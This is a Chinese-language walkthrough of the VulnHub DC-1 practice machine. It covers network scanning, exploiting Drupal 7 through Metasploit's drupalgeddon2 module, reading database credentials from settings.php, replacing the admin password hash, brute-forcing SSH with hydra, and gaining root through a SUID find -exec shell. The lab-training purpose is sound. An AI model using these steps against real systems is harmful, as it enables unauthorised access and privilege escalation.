下载
靶场下载地址:https://www.vulnhub.com/entry/dc-1,292/
解压完后使用vmware打开.ova文件
配置
设置网络适配器为NAT模式
测试靶场
1.kali探测ip
arp-scan -l
2.对靶机ip进行扫描
nmap -A 192.168.190.240 -p 1-65535
发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
访问站点
发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
利用MSF
3.msf
search drupal
选择模块进行测试
use exploit/unix/webapp/drupal_drupalgeddon2
设置ip
启动msf
4.getshell
发现是www-data权限
使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
Drupal的默认配置文件为
/var/www/sites/default/settings.php
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
flag2提示,提升权限为root来查看敏感文件,或者直接爆破
5.连接数据库
进入数据库
mysql -u dbuser -p
查看数据库,切换到drupaldb数据库
查看查找默认的Drupal user 表
select * from users;
进入www目录
置换drupal密码
php scripts/password-hash.sh admin
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
将pass字段进行替换
update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";
6.提权
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令
find / -perm -4000 2>/dev/null
使用命令查看 suid 权限的可执行二进制程序
使用命令测试,发现为root权限
touch 666
ls
find / -name 666 -exec "whoami" \;
我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。
find / -name 666 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
hydra -l flag4 -P /root/Desktop/pass.txt ssh://192.168.xxx.xxx
SSH连接登录,拿到flag4权限
根据提示需要得到root权限才能得到falg。
liunx提权一般有四种提权方式:
sudo提权,通过命令sudo -l查看是否有可提权的命令。
suid提权,通过命令find / -user root -perm -4000 -print 2>/dev/null查看是否具有root权限的命令
系统版本内核提权。
通过数据库提权。
发现_find_具有root权限
直接执行命令
进行提权